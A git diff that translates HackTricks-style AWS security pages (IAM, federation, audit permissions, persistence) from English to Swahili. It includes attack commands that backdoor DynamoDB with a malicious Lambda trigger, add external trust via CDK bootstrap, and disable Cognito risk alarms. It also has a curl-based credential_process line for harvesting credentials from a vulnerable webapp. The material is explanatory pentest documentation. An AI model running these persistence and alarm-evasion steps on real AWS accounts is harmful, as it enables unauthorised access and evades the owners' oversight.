aws sts assume-role \
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
Note that by default **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [roles za cognito zisizo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa default (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **akiba za kikao zenye sera ya kikao** ambayo inazuia huduma ambazo kikao kinaweza kufikia [**katika orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Hivyo, ikiwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**.
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
### Ushirikiano wa Utambulisho
### Identity Federation
Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni nje** ya AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akiba za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\
Mfano wa mtoa huduma wa utambulisho unaweza kuwa **Microsoft Active Directory** yako mwenyewe (kupitia **SAML**) au huduma za **OpenID** (kama **Google**). Ufikiaji wa ushirikiano utaweza kuwapa watumiaji ndani yake ufikiaji wa AWS.
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
Ili kuunda uaminifu huu, **Mtoa Huduma wa Utambulisho wa IAM unaundwa (SAML au OAuth)** ambao utakuwa **na uaminifu** kwa **jukwaa lingine**. Kisha, angalau **jukumu moja linapewa (linaloamini) Mtoa Huduma wa Utambulisho**. Ikiwa mtumiaji kutoka kwenye jukwaa lililoaminiwa anafikia AWS, atakuwa akifanya hivyo kama jukumu lililotajwa.
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
Hata hivyo, kwa kawaida unataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa likiruhusu watumiaji kuchukua jukumu moja au jingine.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM Identity Center
### Kituo cha Utambulisho wa IAM
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
Kituo cha Utambulisho wa AWS IAM (mfuatano wa AWS Single Sign-On) kinapanua uwezo wa Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) kutoa **mahali pa kati** ambalo linaunganisha **usimamizi wa watumiaji na ufikiaji wao kwa akaunti za AWS** na programu za wingu.
The login domain is going to be something like `<user_input>.awsapps.com`.
Domeni la kuingia litakuwa kitu kama `<user_input>.awsapps.com`.
To login users, there are 3 identity sources that can be used:
Ili kuingia kwa watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika:
- Identity Center Directory: Regular AWS users
- Active Directory: Supports different connectors
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
- Kituo cha Utambulisho: Watumiaji wa kawaida wa AWS
- Active Directory: Inasaidia viunganishi tofauti
- Mtoa Huduma wa Utambulisho wa Nje: Watumiaji wote na makundi yanatoka kwa Mtoa Huduma wa Utambulisho wa Nje (IdP)
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
Katika kesi rahisi ya kituo cha utambulisho, **Kituo cha Utambulisho kitakuwa na orodha ya watumiaji na makundi** na kitaweza **kutoa sera** kwao kwa **akaunti zozote** za shirika.
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
Ili kutoa ufikiaji kwa mtumiaji/kundi wa Kituo cha Utambulisho kwa akaunti, **Mtoa Huduma wa Utambulisho wa SAML unaoamini Kituo cha Utambulisho utaundwa**, na **jukumu linaloamini Mtoa Huduma wa Utambulisho lenye sera zilizotajwa litaundwa** katika akaunti ya marudio.
#### AwsSSOInlinePolicy
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoandaliwa kupitia Kituo cha Utambulisho wa IAM**. Majukumu yaliyoandaliwa katika akaunti zinazopatiwa **sera za ndani katika Kituo cha Utambulisho wa AWS** yatakuwa na ruhusa hizi katika sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**.
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
Hivyo, hata kama unaona majukumu 2 yenye sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**, **haimaanishi ina ruhusa sawa**.
### Cross Account Trusts and Roles
### Uaminifu na Majukumu ya Akaunti Mbalimbali
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
**Mtumiaji** (anayeamini) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera fulani na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminiwa) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioonyeshwa katika sera za jukumu jipya**. Ili kuunda hii, tengeneza Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti ambayo unamiliki na akaunti ya AWS ya upande wa tatu.\
Inapendekezwa **kueleza mtumiaji ambaye anaaminiwa na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu.
### AWS Simple AD
Not supported:
Haitambuliwi:
- Trust Relations
- AD Admin Center
- Full PS API support
- AD Recycle Bin
- Group Managed Service Accounts
- Schema Extensions
- No Direct access to OS or Instances
- Mahusiano ya Uaminifu
- Kituo cha Usimamizi wa AD
- Msaada kamili wa PS API
- Kihifadhi cha AD
- Akaunti za Huduma za Kundi
- Upanuzi wa Mpangilio
- Hakuna ufikiaji wa moja kwa moja kwa OS au Mifano
#### Web Federation or OpenID Authentication
#### Ushirikiano wa Mtandao au Uthibitishaji wa OpenID
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
Programu inatumia AssumeRoleWithWebIdentity kuunda akiba za muda. Hata hivyo, hii haitoi ufikiaji wa konsoli ya AWS, bali ufikiaji wa rasilimali ndani ya AWS.
### Other IAM options
### Chaguzi Nyingine za IAM
- You can **set a password policy setting** options like minimum length and password requirements.
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
- Unaweza **kufafanua mipangilio ya sera ya nywila** kama urefu wa chini na mahitaji ya nywila.
- Unaweza **kupakua "Ripoti ya Akiba"** yenye taarifa kuhusu akiba za sasa (kama wakati wa kuunda mtumiaji, ikiwa nywila imewezeshwa...). Unaweza kuunda ripoti ya akiba mara kwa mara kama mara moja kila **saa nne**.
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) unatoa **udhibiti wa ufikiaji wa kina** katika AWS yote. Pamoja na IAM, unaweza kufafanua **nani anaweza kufikia huduma na rasilimali zipi**, na chini ya hali zipi. Pamoja na sera za IAM, unasimamia ruhusa kwa wafanyakazi na mifumo yako ili **kuhakikisha ruhusa za chini**.
### IAM ID Prefixes
### Viambatisho vya IAM ID
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
Katika [**ukurasa huu**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) unaweza kupata **viambatisho vya IAM ID** vya funguo kulingana na asili yao:
| Identifier Code | Description |
| --------------- | ----------------------------------------------------------------------------------------------------------- |
@@ -343,9 +331,9 @@ In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_id
| ASCA | Certificate |
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
### Recommended permissions to audit accounts
### Ruhusa zinazopendekezwa kukagua akaunti
The following privileges grant various read access of metadata:
Ruhusa zifuatazo zinatoa ufikiaji wa kusoma wa metadata:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -356,14 +344,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
## Misc
## Mambo Mengine
### CLI Authentication
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
Example of credentials file with more than 1 profile:
### Uthibitishaji wa CLI
Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **akiba za ndani**. Kwa default unaweza kuziunda **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\
Katika faili hiyo unaweza kuwa na zaidi ya profaili moja, ikiwa **hakuna profaili** iliyotajwa kwa kutumia **aws cli**, ile inayoitwa **`[default]`** katika faili hiyo itatumika.\
Mfano wa faili la akiba lenye zaidi ya profaili 1:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -374,12 +361,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
Ikiwa unahitaji kufikia **akaunti tofauti za AWS** na wasifu wako umepatiwa ruhusa ya **kuchukua jukumu ndani ya akaunti hizo**, huwezi kuhitaji kuita STS kwa mikono kila wakati (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) na kuunda akiba.
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
A config file example:
Unaweza kutumia faili ya `~/.aws/config` [**kuonyesha ni majukumu gani ya kuchukua**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), na kisha tumia param ya `--profile` kama kawaida (kuchukua jukumu kutafanywa kwa njia ya uwazi kwa mtumiaji).\
Mfano wa faili ya usanidi:
```
[profile acc2]
region=eu-west-2
@@ -388,36 +373,30 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
With this config file you can then use aws cli like:
Na faili hii ya usanidi unaweza kutumia aws cli kama:
```
aws --profile acc2 ...
```
Ikiwa unatafuta kitu **kama** hiki lakini kwa **browser** unaweza kuangalia **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
#### Automating temporary credentials
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
#### Kuandaa hati za muda
Ikiwa unatumia programu ambayo inazalisha hati za muda, inaweza kuwa ngumu kuziupdate kwenye terminal yako kila baada ya dakika chache zinapokwisha. Hii inaweza kutatuliwa kwa kutumia mwelekeo wa `credential_process` katika faili ya config. Kwa mfano, ikiwa una webapp fulani iliyo hatarini, unaweza kufanya:
```toml
[victim]
credential_process = curl -d 'PAYLOAD' https://some-site.com
```
Note that credentials _must_ be returned to STDOUT in the following format:
Kumbuka kwamba akreditivu _lazima_ irejeshwe kwa STDOUT katika muundo ufuatao:
```json
{
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
```
## References
## Marejeo
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)

View File

@@ -4,84 +4,81 @@
## SAML
For info about SAML please check:
Kwa maelezo kuhusu SAML tafadhali angalia:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
Ili kuunda **Identity Federation kupitia SAML** unahitaji tu kutoa **jina** na **metadata XML** inayojumuisha usanidi wote wa SAML (**endpoints**, **cheti** chenye funguo za umma)
## OIDC - Github Actions Abuse
In order to add a github action as Identity provider:
1. For _Provider type_, select **OpenID Connect**.
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
3. Click on _Get thumbprint_ to get the thumbprint of the provider
4. For _Audience_, enter `sts.amazonaws.com`
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
8. Finally use a github action to configure the AWS creds to be used by the workflow:
Ili kuongeza hatua ya github kama mtoa kitambulisho:
1. Kwa _Aina ya Mtoa_, chagua **OpenID Connect**.
2. Kwa _URL ya Mtoa_, ingiza `https://token.actions.githubusercontent.com`
3. Bonyeza _Pata thumbprint_ ili kupata thumbprint ya mtoa
4. Kwa _Audience_, ingiza `sts.amazonaws.com`
5. Unda **jukumu jipya** lenye **idhini** zinazohitajika na hatua ya github na **sera ya kuamini** inayomwamini mtoa kama:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Kumbuka katika sera iliyopita jinsi **tawi** moja tu kutoka **hifadhi** ya **shirika** lilihitajika kwa **trigger** maalum.
7. **ARN** ya **jukumu** ambalo hatua ya github itakuwa na uwezo wa **kujifanya** ni "siri" ambayo hatua ya github inahitaji kujua, hivyo **hifadhi** ndani ya **siri** ndani ya **mazingira**.
8. Hatimaye tumia hatua ya github kusanidi AWS creds zitakazotumika na workflow:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
pull_request:
branches:
- main
pull_request:
branches:
- main
# Required to get the ID Token that will be used for OIDC
permissions:
id-token: write
contents: read # needed for private repos to checkout
id-token: write
contents: read # needed for private repos to checkout
jobs:
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
- run: aws sts get-caller-identity
shell: bash
```
## OIDC - EKS Abuse
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
Inawezekana kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC URL** ya cluster kama **mtoa kitambulisho kipya cha Open ID**. Hii ni sera ya kawaida ya default:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
}
```
Sera hii inabainisha kwa usahihi kwamba **tu** **EKS cluster** yenye **id** `20C159CDF6F2349B68846BEC03BE031B` inaweza kuchukua jukumu. Hata hivyo, haionyeshi ni akaunti gani ya huduma inaweza kuchukua jukumu hilo, ambayo ina maana kwamba **AKAUNTI YOYOTE YA HUDUMA yenye tokeni ya utambulisho wa wavuti** itakuwa **na uwezo wa kuchukua** jukumu hilo.
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
Ili kubainisha **ni akaunti gani ya huduma inapaswa kuwa na uwezo wa kuchukua jukumu,** inahitajika kubainisha **hali** ambapo **jina la akaunti ya huduma linabainishwa**, kama:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
## References
## Marejeleo
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,20 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
Hizi ndizo ruhusa unazohitaji kwenye kila akaunti ya AWS unayotaka kukagua ili uweze kuendesha zana zote zilizopendekezwa za ukaguzi wa AWS:
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- **access-analyzer:DeleteAnalyzer**
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
- Sera ya default **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- Ili kuendesha [aws_iam_review](https://github.com/carlospolop/aws_iam_review) unahitaji pia ruhusa zifuatazo:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Hiari ikiwa mteja anaunda wachambuzi kwa niaba yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii)
- **access-analyzer:DeleteAnalyzer**
- Hiari ikiwa mteja anafuta wachambuzi kwa niaba yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# AWS - Persistence
# AWS - Uendelevu
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,33 +4,29 @@
## API Gateway
For more information go to:
Kwa habari zaidi nenda kwa:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
### Sera ya Rasilimali
Modify the resource policy of the API gateway(s) to grant yourself access to them
Badilisha sera ya rasilimali ya API gateway(s) ili ujipe ufikiaji kwao
### Modify Lambda Authorizers
### Badilisha Lambda Authorizers
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
Or just remove the use of the authorizer.
Badilisha msimbo wa lambda authorizers ili ujipe ufikiaji kwa endpoints zote.\
Au ondoa tu matumizi ya authorizer.
### IAM Permissions
### Ruhusa za IAM
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
Or just remove the use of the authorizer.
Kama rasilimali inatumia IAM authorizer unaweza kujipa ufikiaji kwa kubadilisha ruhusa za IAM.\
Au ondoa tu matumizi ya authorizer.
### API Keys
If API keys are used, you could leak them to maintain persistence or even create new ones.\
Or just remove the use of API keys.
Kama API keys zinatumiwa, unaweza leak zao ili kudumisha persistence au hata kuunda mpya.\
Au ondoa tu matumizi ya API keys.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## CloudFormation
For more information, access:
Kwa maelezo zaidi, angalia:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -12,8 +12,7 @@ For more information, access:
### CDK Bootstrap Stack
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
The AWS CDK inaweka stack ya CFN iitwayo `CDKToolkit`. Stack hii inaunga mkono parameter `TrustedAccounts` ambayo inaruhusu akaunti za nje ku-deploy miradi ya CDK ndani ya akaunti ya mwathiriwa. Mshambuliaji anaweza kutumia hili vibaya kujipa ufikiaji wa kudumu kwenye akaunti ya mwathiriwa, ama kwa kutumia AWS cli ku-redeploy stack kwa vigezo, au kwa kutumia AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
@@ -21,5 +20,4 @@ cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,27 +1,27 @@
# AWS - Cognito Persistence
# AWS - Cognito Uendelevu
{{#include ../../../../banners/hacktricks-training.md}}
## Cognito
For more information, access:
Kwa taarifa zaidi, angalia:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### User persistence
### Uendelevu wa watumiaji
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
Cognito ni huduma inayoruhusu kutoa roles kwa unauthenticated na authenticated users na kudhibiti saraka ya watumiaji. Mipangilio kadhaa inaweza kubadilishwa ili kudumisha uendelevu, kama vile:
- **Adding a User Pool** controlled by the user to an Identity Pool
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- Or to an **authenticated Identity Pool** if the attacker can login
- Or **improve the permissions** of the given roles
- Or to an **authenticated Identity Pool** if the attacker can login
- Or **improve the permissions** of the given roles
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
Check how to do these actions in
Angalia jinsi ya kufanya hatua hizi katika
{{#ref}}
../../aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -29,18 +29,12 @@ Check how to do these actions in
### `cognito-idp:SetRiskConfiguration`
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
Mshambuliaji mwenye ruhusa hii anaweza kubadilisha risk configuration ili aweze kuingia kama mtumiaji wa Cognito **bila kusababisha alarms kuzinduliwa**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) ili kuangalia chaguzi zote:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
By default this is disabled:
Kwa chaguo-msingi hii imezimwa:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# AWS - DynamoDB Persistence
# AWS - DynamoDB Udumu
{{#include ../../../../banners/hacktricks-training.md}}
### DynamoDB
For more information access:
Kwa maelezo zaidi angalia:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
@@ -12,56 +12,48 @@ For more information access:
### DynamoDB Triggers with Lambda Backdoor
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
Kwa kutumia DynamoDB triggers, mshambuliaji anaweza kuunda **backdoor ya siri** kwa kuhusisha Lambda function yenye madhara na jedwali. Lambda function inaweza kuamshwa wakati kipengee kimeongezwa, kimebadilishwa, au kimefutwa, na hivyo kumwezesha mshambuliaji kutekeleza code yoyote ndani ya akaunti ya AWS.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
